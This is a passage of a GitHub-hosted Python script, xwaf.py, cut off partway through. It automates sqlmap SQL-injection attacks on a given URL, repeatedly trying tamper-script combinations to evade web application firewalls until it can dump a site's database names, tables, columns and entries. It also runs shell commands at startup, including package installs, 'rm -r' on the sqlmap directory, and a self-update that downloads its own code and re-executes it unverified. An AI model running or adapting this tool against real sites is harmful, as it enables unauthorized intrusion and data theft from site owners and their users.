-
Notifications
You must be signed in to change notification settings - Fork 292
/
xwaf.py
2846 lines (2581 loc) · 184 KB
/
xwaf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import os
import time
import re
import itertools
from urllib.parse import urlparse
import sys
if sys.version_info < (3, 0):
sys.stdout.write("Sorry,xwaf requires Python 3.x\n")
sys.exit(1)
os.system("pip3 install exp10it -U --no-cache-dir")
from exp10it import figlet2file
from exp10it import update_config_file_key_value
from exp10it import get_key_value_from_config_file
from exp10it import CLIOutput
from exp10it import get_input_intime
from exp10it import get_http_or_https
from exp10it import HOME_PATH
from exp10it import get_string_from_command
from exp10it import get_request
class Program(object):
def __init__(self):
self.currentVersion=1.19
a=get_string_from_command("sqlmap")
if not os.path.exists("/usr/share/sqlmap/sqlmap.py"):
os.system("git clone https://github.com/sqlmapproject/sqlmap.git /usr/share/sqlmap")
if re.search(r"not found",a,re.I):
os.system("ln -s /usr/share/sqlmap/sqlmap.py /usr/local/bin/sqlmap")
self.selfUpdate()
self.checkSqlmapTamperUpdate()
self.output = CLIOutput()
self.try_times = 0
#rflag为1代表sqlmap的参数中有-r选项
self.rflag=0
self.useProxy=False
try:
figlet2file("xwaf", 0, True)
except:
pass
print("currentVersion:%s" % self.currentVersion)
self.handle_url()
self.log_file = HOME_PATH+"/root/.local/share/sqlmap/output/" + urlparse(self.url).hostname + "/log"
self.log_config_file = self.log_file[:-3] + "config_file.ini"
self.has_good_sqli_type = 0
#下面这句决定在全局是否加代理
self.output.useProxy=self.useProxy
parsed = urlparse(self.url)
safe_url = parsed.scheme + "://" + parsed.netloc
if self.rflag==0:
self.sm_command = '''sqlmap -u "%s" --batch --risk 3 -v 3 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --level 5 --smart''' % (self.url, safe_url)
else:
self.sm_command = '''sqlmap --batch --risk 3 -v 3 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --level 5 --smart''' % safe_url
self.sm_hex_command = self.sm_command + " --hex"
self.sm_no_cast_command = self.sm_command + " --no-cast"
self.MYSQL = []
self.MSSQL = []
self.ORACLE = []
self.PGSQL = []
self.ACCESS = []
self.SQLITE = []
self.DB2 = []
self.FIREBIRD = []
self.MAXDB = []
self.SYBASE = []
self.HSQLDB = []
tamper_names=os.listdir('/usr/share/sqlmap/tamper/')
tamper_names.remove('__init__.py')
for each_script in tamper_names:
if ".py"!=each_script[-3:]:
tamper_names.remove(each_script)
for each_script in tamper_names:
self.check_DB_type_from_script(each_script)
print('mysql:')
print(self.MYSQL)
print('mssql:')
print(self.MSSQL)
print('oracle:')
print(self.ORACLE)
print('postgresql:')
print(self.PGSQL)
print('sqlite:')
print(self.SQLITE)
print('access:')
print(self.ACCESS)
print('db2:')
print(self.DB2)
print('firebird:')
print(self.FIREBIRD)
print('maxdb:')
print(self.MAXDB)
print('sybase:')
print(self.SYBASE)
print('hsqldb:')
print(self.HSQLDB)
if os.path.exists(self.log_config_file)==False:
#log_config_file不存在,说明xwaf没跑过,开始时用sm_command跑,生成log_config_file,并将当前跑过的命令记录下来
self.output.os_system_combine_argv_with_bottom_status(self.sm_command)
# 下面这个列表是跑过的命令,每次跑一个命令时,先检测这个命令是否在下面这个列表中,如果在,说明这个命令跑过了,略过这
# 个要跑的命令
update_config_file_key_value(self.log_config_file, 'default', 'finished_command_list', [])
# 下面这个列表是成功绕过的命令
update_config_file_key_value(self.log_config_file, 'default', 'bypassed_command', [])
# 下面两句初始化产生的内容为hex_or_no_cast列表和tamper_list列表的配置文件
update_config_file_key_value(self.log_config_file, 'default', 'hex_or_no_cast', [])
update_config_file_key_value(self.log_config_file, 'default', 'tamper_list', [])
current_finished_command_list=[self.sm_command]
else:
#log_config_file存在,说明xwaf跑过,开始时用sm_command跑,并将当前跑过的命令记录下来
current_finished_command_list = eval(get_key_value_from_config_file(self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_command)
current_finished_command_list.append(self.sm_command)
update_config_file_key_value(self.log_config_file, 'default','finished_command_list', current_finished_command_list)
has_sqli = self.get_log_file_need_tamper()
if has_sqli == 0:
# 如果没有漏洞就不再进行后面的检测了
sys.exit(0)
self.get_db_type_need_tamper()
# 设置默认找不到数据库类型则将目标当作MYSQL
db_type = self.get_db_type_from_log_file(self.log_file)
if db_type != 0:
update_config_file_key_value(self.log_config_file, 'default', 'db_type', '"' + db_type + '"')
else:
update_config_file_key_value(self.log_config_file, 'default', 'db_type', '"MYSQL"')
# get_db_type_need_tamper函数运行前获取db_type从log_file中获取,get_db_type_need_tamper函数运行之后获取
# db_type从config_file中获取
# 下面在以后的注入语句中加上数据库类型加快注入速度
db_type = eval(get_key_value_from_config_file(self.log_config_file, 'default', 'db_type'))
self.sm_command = self.sm_command + " --dbms=%s" % db_type
self.sm_hex_command = self.sm_hex_command + " --dbms=%s" % db_type
self.sm_no_cast_command = self.sm_no_cast_command + " --dbms=%s" % db_type
if db_type != 'ACCESS':
# ACCESS数据库将不运行get_good_sqli_type_need_tamper()[一般是B注入方法]和get_db_name_need_tamper()[--current_db会得
# 到None的结果]函数
# has_good_sqli_type这个值要作为后面函数的全局变量来用
self.has_good_sqli_type = self.get_good_sqli_type_need_tamper()
self.get_db_name_need_tamper()
#下面在全局的sql注入语句中加入-D db_name[如果数据库不是ACCESS]
db_name = self.get_db_name_from_log_file(self.log_file)[0]
self.sm_command= self.sm_command+" -D "+db_name if db_type!='ACCESS' else self.sm_command
self.sm_hex_command = self.sm_command + " --hex"
self.sm_no_cast_command = self.sm_command + " --no-cast"
#上面的3句之后,以后出现在代码中的sql注入语句就没有-D db_name这样的string了
self.get_table_name_need_tamper()
self.get_column_name_need_tamper()
has_entries = self.get_entries_need_tamper()
if has_entries == 1:
succeedCmd=eval(get_key_value_from_config_file(self.log_config_file, 'default', 'bypassed_command'))
self.output.good_print("成功获取数据的命令是:\n%s" % succeedCmd, 'red')
self.output.good_print('you tried %d different combination of tampers' % self.try_times, 'red')
def selfUpdate(self):
#自动更新
def getVersion(file):
with open("/tmp/xwaf.py","r+") as f:
content=f.read()
latestVersion=re.search(r"self\.currentVersion\s*=\s*(.*)",content).group(1)
latestVersion=float(latestVersion)
return latestVersion
os.system("wget https://raw.githubusercontent.com/3xp10it/bypass_waf/master/xwaf.py -O /tmp/xwaf.py -q")
latestVersion=getVersion("/tmp/xwaf.py")
if latestVersion>self.currentVersion:
print("Attention! New version exists,I will update xwaf.py to the latest version.")
currentScriptDirPath=os.path.dirname(os.path.abspath(__file__))+'/'
os.system("cp /tmp/xwaf.py %sxwaf.py" % currentScriptDirPath)
print("Update finished! :)")
oldArgvList=sys.argv[1:]
newString=""
for each in oldArgvList:
if re.search(r"\s",each):
newString+=(" "+'"'+each+'"')
else:
newString+=(" "+each)
newCommand="python3 "+currentScriptDirPath+newString+"xwaf.py"+newString
#print("new cmd:\n"+newCommand)
os.system(newCommand)
sys.exit(0)
else:
return
def checkSqlmapTamperUpdate(self):
#检测sqlmap的tamper有没有更新,如果有更新则自动更新
req=get_request("https://github.com/sqlmapproject/sqlmap/tree/master/tamper")
html=req['content']
a=re.findall(r"\w+\.py",html)
allTamperNameList=[]
for each in a:
if each not in allTamperNameList and each!="__init__.py":
allTamperNameList.append(each)
newTamperNum=len(allTamperNameList)
tamperList=os.listdir("/usr/share/sqlmap/tamper")
localTamperNum=len(tamperList)
#print(localTamperNum)
if "__init__.py" in tamperList:
localTamperNum-=1
if newTamperNum>localTamperNum:
print("检测到sqlmap的tamper有更新,现在更新,请稍等...")
os.system("rm -r /usr/share/sqlmap")
os.system("git clone https://github.com/sqlmapproject/sqlmap.git /usr/share/sqlmap")
def usage(self):
self.output.good_print('''You can use this script like this:
eg:
1.python3 xwaf.py -u "http://www.baidu.com/1.php?id=1"
2.python3 xwaf.py -u "http://www.baidu.com/1.php" --data="postdata" -p xxx
3.python3 xwaf.py -r /tmp/headerfile -p xxx --level 5
Actually,xwaf.py supports all parameters[except for param '-m' and '-l'] in sqlmap,you can use xwaf as same as
sqlmap's usage.''','yellow')
def handle_url(self):
if len(sys.argv) == 1:
self.usage()
sys.exit(0)
else:
if "-m" in sys.argv[1:] or "-l" in sys.argv[1:]:
print("Sorry,xwaf.py does not support param '-m' and '-l'")
self.usage()
sys.exit(1)
print("Do you want to use random proxy from the Internet on each different sqlmap command to anti \
blocked by waf for your mass requests? [N|y]")
choose=get_input_intime('n',5)
if choose=='y' or choose=='Y':
self.useProxy=True
self.url=""
tmp=sys.argv[1:]
index=0
for each in tmp:
if each=="-u":
self.url=tmp[index+1]
break
index+=1
if self.url=="":
if "-r" in sys.argv[1:]:
self.rflag=1
tmpIndex=0
tmpList=sys.argv[1:]
for each in tmpList:
if each=="-r":
readFile=tmpList[tmpIndex+1]
break
tmpIndex+=1
with open(readFile,"r+") as f:
allLines=f.readlines()
findHost=0
for eachLine in allLines:
if re.search("host:",eachLine,re.I):
hostValue=re.search("host:\s?([\S]+)",eachLine,re.I).group(1)
self.url=get_http_or_https(hostValue)+"://"+hostValue
findHost=1
break
if findHost==0:
print("Although you provide a header file,but I can not find host value")
sys.exit(1)
else:
print("Sorry,I can not find a url:(")
self.usage()
sys.exit(1)
def get_db_type_from_log_file(self, log_file):
with open(log_file, "r+") as f:
log_content = f.read()
# 下面的数据库类型在/usr/share/sqlmap/lib/core/enums.py文件中可得
mysql_pattern = re.compile(r"MySQL", re.I)
mssql_pattern = re.compile(r"(Microsoft SQL Server)|(MSSQL)", re.I)
oracle_pattern = re.compile(r"Oracle", re.I)
postgresql_pattern = re.compile(r"(PostgreSQL)|(PGSQL)", re.I)
access_pattern = re.compile(r"(Microsoft Access)|(Access)", re.I)
#access特殊pattern
accessSpecialPattern=re.compile(r"MSysAccessObjects",re.I)
sqlite_pattern = re.compile(r"SQLite", re.I)
DB2_pattern = re.compile(r"(IBM DB2)|(DB2)", re.I)
FIREBIRD_pattern = re.compile(r"Firebird", re.I)
maxdb_pattern = re.compile(r"SAP MaxDB", re.I)
sybase_pattern = re.compile(r"Sybase", re.I)
HSQLDB_pattern = re.compile(r"HSQLDB", re.I)
find_list = re.findall(r"back-end DBMS:(.*)", log_content)
if find_list:
for each in find_list:
if re.search(mysql_pattern, each):
return "MYSQL"
if re.search(mssql_pattern, each):
return "MSSQL"
if re.search(oracle_pattern, each):
return "ORACLE"
if re.search(postgresql_pattern, each):
return "PGSQL"
if re.search(access_pattern, each):
return "ACCESS"
if re.search(sqlite_pattern, each):
return "SQLITE"
if re.search(DB2_pattern, each):
return "DB2"
if re.search(FIREBIRD_pattern, each):
return "FIREBIRD"
if re.search(maxdb_pattern, each):
return "MAXDB"
if re.search(sybase_pattern, each):
return "SYBASE"
if re.search(HSQLDB_pattern, each):
return "HSQLDB"
elif re.search(accessSpecialPattern,log_content):
return "ACCESS"
else:
self.output.good_print("can not get db type from log file,I will return 0", 'red')
return 0
def get_sqli_type_from_log_file(self, log_file):
# 从log文件中获取注入方法有哪些eg.B|T|U|E|S|Q
# 其中B|T|Q一般比U|E|S有更好的过waf的效果
# 而U|E|S比B|T|Q有更快的注入速度和更高的注入权限
sqli_type = []
with open(log_file, "r+") as f:
log_content = f.read()
# 下面的pattern可从/usr/share/sqlmap/lib/core/enums.py中获得
B_sqli_type_pattern = re.compile(r"Type:.*boolean-based blind", re.I)
T_sqli_type_pattern = re.compile(r"Type:.*time-based blind", re.I)
Q_sqli_type_pattern = re.compile(r"Type:.*inline query", re.I)
U_sqli_type_pattern = re.compile(r"Type:.*UNION query", re.I)
E_sqli_type_pattern = re.compile(r"Type:.*error-based", re.I)
S_sqli_type_pattern = re.compile(r"Type:.*stacked queries", re.I)
if re.search(B_sqli_type_pattern, log_content):
sqli_type.append('B')
if re.search(T_sqli_type_pattern, log_content):
sqli_type.append('T')
if re.search(Q_sqli_type_pattern, log_content):
sqli_type.append('Q')
if re.search(U_sqli_type_pattern, log_content):
sqli_type.append('U')
if re.search(E_sqli_type_pattern, log_content):
sqli_type.append('E')
if re.search(S_sqli_type_pattern, log_content):
sqli_type.append('S')
return sqli_type
def get_db_name_from_log_file(self, log_file):
with open(log_file, "r+") as f:
log_content = f.read()
find_list = re.findall(r'''current database:[\s]*('|")*([^\s'"]+)''', log_content)
db_name_list = []
if find_list:
for each in find_list:
if each[1] not in db_name_list and each[1] != "None":
db_name_list.append(each[1])
return db_name_list
else:
self.output.good_print("can not get db name from log file,I will return 0", 'red')
return 0
def get_table_name_from_log_file(self, log_file):
# 这个函数返回当前current_db的第一个表名
with open(log_file, "r+") as f:
log_content = f.read()
# 下面的正则查找current_db的第一个表名
db_type=eval(get_key_value_from_config_file(self.log_config_file,'default','db_type'))
if db_type=='ACCESS':
current_db='Microsoft_Access_masterdb'
else:
current_db= self.get_db_name_from_log_file(self.log_file)[0]
find_list = re.findall(r"Database:[\s]*(%s)[\s]+\[\d{1,3}\s+tables\]\s\+\-+\+\s\|\s+([^\s]+)\s" % current_db, log_content)
table_list = []
if find_list:
for each in find_list:
if each not in table_list:
table_list.append(each)
return table_list[0][1]
else:
self.output.good_print("can not get any table from log file,I will return 0", 'red')
return 0
def get_column_name_from_log_file(self, log_file):
# 找出column,不用找出column的具体值,只要log文件中有column出现即可
with open(log_file, "r+") as f:
log_content = f.read()
find_column = re.search(r"\[(\d{1,3}) columns\]", log_content)
if find_column:
return 1
else:
self.output.good_print("can not get any column from log file,I will return 0", 'red')
return 0
def get_entries_from_log_file(self, log_file):
# 找出entries,不用找出entries的具体值,只要log文件中有entries出现即可
with open(log_file, "r+") as f:
log_content = f.read()
find_entries = re.search(r"\[(\d{1,3} entries)|(1 entry)\]", log_content)
if find_entries:
return 1
else:
self.output.good_print("can not get any entries from log file,I will return 0", 'red')
return 0
def check_DB_type_from_script(self, script_name):
script_has_any_DB = 0
with open('/usr/share/sqlmap/tamper/' + script_name, 'r+',errors='ignore') as f:
tamper_content = f.read()
mysql_pattern = re.compile(r"MySQL", re.I)
mssql_pattern = re.compile(r"(Microsoft SQL Server)|(MSSQL)", re.I)
oracle_pattern = re.compile(r"Oracle", re.I)
postgresql_pattern = re.compile(r"(PostgreSQL)|(PGSQL)", re.I)
access_pattern = re.compile(r"(Microsoft Access)|(Access)", re.I)
sqlite_pattern = re.compile(r"SQLite", re.I)
DB2_pattern = re.compile(r"(IBM DB2)|(DB2)", re.I)
FIREBIRD_pattern = re.compile(r"Firebird", re.I)
maxdb_pattern = re.compile(r"SAP MaxDB", re.I)
sybase_pattern = re.compile(r"Sybase", re.I)
HSQLDB_pattern = re.compile(r"HSQLDB", re.I)
if re.search(mysql_pattern, tamper_content) and script_name[:-3] not in self.MYSQL:
self.MYSQL.append(script_name[:-3])
script_has_any_DB = 1
if re.search(mssql_pattern, tamper_content) and script_name[:-3] not in self.MSSQL:
self.MSSQL.append(script_name[:-3])
script_has_any_DB = 1
if re.search(oracle_pattern, tamper_content) and script_name[:-3] not in self.ORACLE:
self.ORACLE.append(script_name[:-3])
script_has_any_DB = 1
if re.search(postgresql_pattern, tamper_content) and script_name[:-3] not in self.PGSQL:
self.PGSQL.append(script_name[:-3])
script_has_any_DB = 1
if re.search(access_pattern, tamper_content) and script_name[:-3] not in self.ACCESS:
self.ACCESS.append(script_name[:-3])
script_has_any_DB = 1
if re.search(sqlite_pattern, tamper_content) and script_name[:-3] not in self.SQLITE:
self.SQLITE.append(script_name[:-3])
script_has_any_DB = 1
if re.search(DB2_pattern, tamper_content) and script_name[:-3] not in self.DB2:
self.DB2.append(script_name[:-3])
script_has_any_DB = 1
if re.search(FIREBIRD_pattern, tamper_content) and script_name[:-3] not in self.FIREBIRD:
self.FIREBIRD.append(script_name[:-3])
script_has_any_DB = 1
if re.search(maxdb_pattern, tamper_content) and script_name[:-3] not in self.MAXDB:
self.MAXDB.append(script_name[:-3])
script_has_any_DB = 1
if re.search(sybase_pattern, tamper_content) and script_name[:-3] not in self.SYBASE:
self.SYBASE.append(script_name[:-3])
script_has_any_DB = 1
if re.search(HSQLDB_pattern, tamper_content) and script_name[:-3] not in self.HSQLDB:
self.HSQLDB.append(script_name[:-3])
script_has_any_DB = 1
if script_has_any_DB == 0 and script_name[:-3] not in self.MYSQL + self.MSSQL + self.ORACLE + self.PGSQL + self.ACCESS + self.SQLITE + self.DB2 + self.FIREBIRD + self.MAXDB + self.SYBASE + self.HSQLDB:
self.MYSQL.append(script_name[:-3])
self.MSSQL.append(script_name[:-3])
self.ORACLE.append(script_name[:-3])
self.PGSQL.append(script_name[:-3])
self.ACCESS.append(script_name[:-3])
self.SQLITE.append(script_name[:-3])
self.DB2.append(script_name[:-3])
self.FIREBIRD.append(script_name[:-3])
self.MAXDB.append(script_name[:-3])
self.SYBASE.append(script_name[:-3])
self.HSQLDB.append(script_name[:-3])
def test_tamper_string(self, tamper_string, forwhat):
# 根据forwhat的目的来测试当前tamper_string是否能达到目的
# 成功达到目的返回1,否则返回0
# run_all_comb中的test_tamper_string函数中是有tamper的包括--hex和--no-cast的检测
# 当前get_(for_what)_need_tamper函数主体代码中是没有tamper的包括--hex和--no-cast的检测
# tamper_string是tamepr1,tamper2的格式
import subprocess
import re
# 下面这段用来获取当前将使用的tamper_string,这个tamper_string由test_tamper_string函数传入的tamper_string参数
# 和已经获得的tamper_list共同决定
current_tamper_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'tamper_list'))
if current_tamper_list == []:
# 已经获得过的tamper_list为空
tamper_string = tamper_string
else:
# 已经获得过的tamper_list不为空
if "," not in tamper_string:
# 当前传入的tamper_string只有一种tamper
if tamper_string in current_tamper_list:
# 此时返回0,相当于这个测试已经测过了,不再测
return 0
else:
current_tamper_list.append(tamper_string)
tamper_string = self.get_from_tuple(current_tamper_list)
else:
# 当前传入的tamper_string有超过一种tamper
for each_tamper in tamper_string.split(","):
if each_tamper not in current_tamper_list:
current_tamper_list.append(each_tamper)
if current_tamper_list == eval(get_key_value_from_config_file(self.log_config_file, 'default', 'tamper_list')):
# 说明当前传入的tamper_string中的每个tamper在已经获得过的tamper_list中都存在,说明之前已经测过了
# 不再测
return 0
else:
tamper_string = self.get_from_tuple(current_tamper_list)
self.sm_command_with_tamper = self.sm_command + " --tamper=%s" % tamper_string
self.sm_hex_command_with_tamper = self.sm_command_with_tamper + " --hex"
self.sm_no_cast_command_with_tamper = self.sm_command_with_tamper + " --no-cast"
if forwhat == 'log_file':
# 为了获取有内容的log_file[也即检测出目标url有sqli漏洞]而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取有内容的log,也即检测出目标url有sqli...", 'green')
self.output.good_print("目前使用的tamper是%s" % tamper_string, 'green')
if eval(get_key_value_from_config_file(self.log_config_file, 'default', 'hex_or_no_cast')) == []:
# 当前还没有获取--hex或者--no-cast选项
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_command_with_tamper)
current_finished_command_list.append(self.sm_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s检测到了当前url有sqli" %
tamper_string, 'red')
flag = 1
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_hex_command_with_tamper)
current_finished_command_list.append(self.sm_hex_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--hex选项检测到了当前url有sqli" % tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--hex'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_no_cast_command_with_tamper)
current_finished_command_list.append(self.sm_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--no-cast选项检测到了当前url有sqli" % tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--no-cast'])
else:
# 当前已经获取--hex或者--no-cast选项
# hex_or_no_cast列表只有一个,如果先检测到--hex选项可以用则不再检测--no-cast选项是否可用
hex_or_no_cast = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'hex_or_no_cast'))[0]
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(sm_hex_or_no_cast_command_with_tamper)
current_finished_command_list.append(sm_hex_or_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项检测到了当前url有sqli" %
(tamper_string, hex_or_no_cast), 'red')
# return 1代表达到forwhat的目的
flag = 1
if flag == 1:
# 下面将当前使用的tamper_string中的tamper写入到tamper_list中,直接写tamper_string中的tamper而不是
# 先判断tamper_string中是否有tamper_list中不存在的tamper再将不存在的tamper写入tamper_list是因为这
# 里的tamper_string已经是在tamper_list的基础上形成的最终的tamper_string,因为每次测试tamper时,只要
# 测到该tamper可用,以后每次新的tamper测试都会在这个可用tamper的基础上再加上新测试的tamper进行测试
if "," not in tamper_string:
# 当前使用的tamper_string只有一个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', [tamper_string])
else:
# 当前使用的tamper_string有多个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', tamper_string.split(","))
# return 1代表当前tamper达到了目的
return 1
# return 0代表当前tamper没有达到目的
return 0
if forwhat == 'db_type':
# 为了获取数据库类型而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取数据库类型...", 'green')
self.output.good_print("目前使用的tamper是%s" % tamper_string, 'green')
if eval(get_key_value_from_config_file(self.log_config_file, 'default', 'hex_or_no_cast')) == []:
# 当前还没有获取--hex或者--no-cast选项
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_command_with_tamper)
current_finished_command_list.append(self.sm_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s检测到了当前url的数据库类型" %
tamper_string, 'red')
flag = 1
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_hex_command_with_tamper)
current_finished_command_list.append(self.sm_hex_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.get_db_type_from_log_file(self.log_file) != 0:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--hex选项检测到了当前url的数据库类型" % tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--hex'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_no_cast_command_with_tamper)
current_finished_command_list.append(self.sm_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.get_db_type_from_log_file(self.log_file) != 0:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--no-cast选项检测到了当前url的数据库类型" % tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--no-cast'])
else:
# 当前已经获取--hex或者--no-cast选项
# hex_or_no_cast列表只有一个,如果先检测到--hex选项可以用则不再检测--no-cast选项是否可用
hex_or_no_cast = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'hex_or_no_cast'))[0]
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(sm_hex_or_no_cast_command_with_tamper)
current_finished_command_list.append(sm_hex_or_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.get_db_type_from_log_file(self.log_file) != 0:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项检测到了当前url的数据库类型" %
(tamper_string, hex_or_no_cast), 'red')
flag = 1
if flag == 1:
# 下面将当前使用的tamper_string中的tamper写入到tamper_list中,直接写tamper_string中的tamper而不是
# 先判断tamper_string中是否有tamper_list中不存在的tamper再将不存在的tamper写入tamper_list是因为这
